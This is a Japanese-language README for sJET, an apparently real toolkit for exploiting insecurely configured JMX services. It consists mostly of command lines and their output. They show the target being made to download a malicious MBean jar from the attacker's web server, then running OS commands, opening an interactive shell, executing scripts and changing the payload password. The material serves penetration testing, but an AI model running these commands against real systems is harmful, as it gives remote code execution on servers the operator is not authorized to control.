
siberas JMX エクスプロイテーションツールキット
sJET は、安全でない設定の JMX サービスを簡単に悪用できるようにします。追加の背景情報は、こちら および こちら にあります。
SJET は CLI インターフェースを実装しています(argparse を使用)。
jython sjet.py targetHost targetPort password MODE (modeOptions)
ここで
次の例では、脆弱な JMX サービスが 192.168.11.136:9991 で動作しており、攻撃者は IP アドレス 192.168.11.132 を持っています。JMX サービスは攻撃者の Web サービスに接続してペイロード jar ファイルをダウンロードします。sJET はポート 8000 で必要な Web サービスを起動します。
MBean のインストールが成功すると、デフォルトのパスワードはコマンドラインで指定されたパスワード("super_secret")に変更されます。
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /siberas_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanSiberas:name=payload,id=1
[+] Changing default password...
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password
h0ng10@rocksteady:~/sjet$
ペイロードがインストールされた後、これを使用してターゲット上で OS コマンドを実行できます。
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret command "ls -la"
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 2
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ls -la
total 16
drwxr-xr-x 4 root root 4096 Aug 22 16:12 .
drwxr-xr-x 66 root root 4096 Aug 22 16:12 ..
lrwxrwxrwx 1 root root 12 Mär 29 01:46 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Mär 29 01:46 lib
lrwxrwxrwx 1 root root 17 Mär 29 01:46 logs -> ../../log/tomcat8
drwxrwxr-x 3 tomcat8 tomcat8 4096 Aug 22 16:12 webapps
lrwxrwxrwx 1 root root 19 Mär 29 01:46 work -> ../../cache/tomcat8
[+] Done
h0ng10@rocksteady:~/sjet$
毎回 Java をロードしたくない場合は、「シェルモード」を使用して制限付きのコマンドシェルを取得できます。
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret shell
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 3
[+] Use command 'exit_shell' to exit the shell
>>> ping -c 3 127.0.0.1
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing command: ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.046 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2050ms
rtt min/avg/max/mdev = 0.044/0.055/0.075/0.014 ms
>>> exit_shell
[+] Done
h0ng10@rocksteady:~/sjet$
サンプルスクリプト「javaproperties.js」は、脆弱なサービスの Java プロパティを表示します。次のように呼び出すことができます。
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret javascript scripts/javaproperties.js
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 4
[+] Loaded de.siberas.lab.SiberasPayload
[+] Executing script
java.vendor=Oracle Corporation
sun.java.launcher=SUN_STANDARD
catalina.base=/var/lib/tomcat8
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Linux
...
java.vm.name=OpenJDK 64-Bit Server VM
file.encoding=UTF-8
java.specification.version=1.8
h0ng10@rocksteady:~/sjet$
既存のパスワード("super_secret")を "this-is-the-new-password" に変更します:
h0ng10@rocksteady:~/sjet$ jython sjet.py 192.168.11.136 9991 super_secret password this-is-the-new-password
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Connected: rmi://192.168.11.132 6
[+] Loaded de.siberas.lab.SiberasPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady:~/sjet$
ターゲットからペイロード 'Siberas' をアンインストールします:
minmaxer@prellermbp:~/sjet$ jython sjet.py 192.168.1.101 9010 super_secret uninstall
sJET - siberas JMX Exploitation Toolkit
=======================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.1.101:9010/jmxrmi
[+] Connected: rmi://192.168.1.1 16
[+] MBean correctly uninstalled
minmaxer@prellermbp:~/sjet$
お気軽にコントリビュートしてください。
このプロジェクトに参加したコントリビューターのリストもご覧ください。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。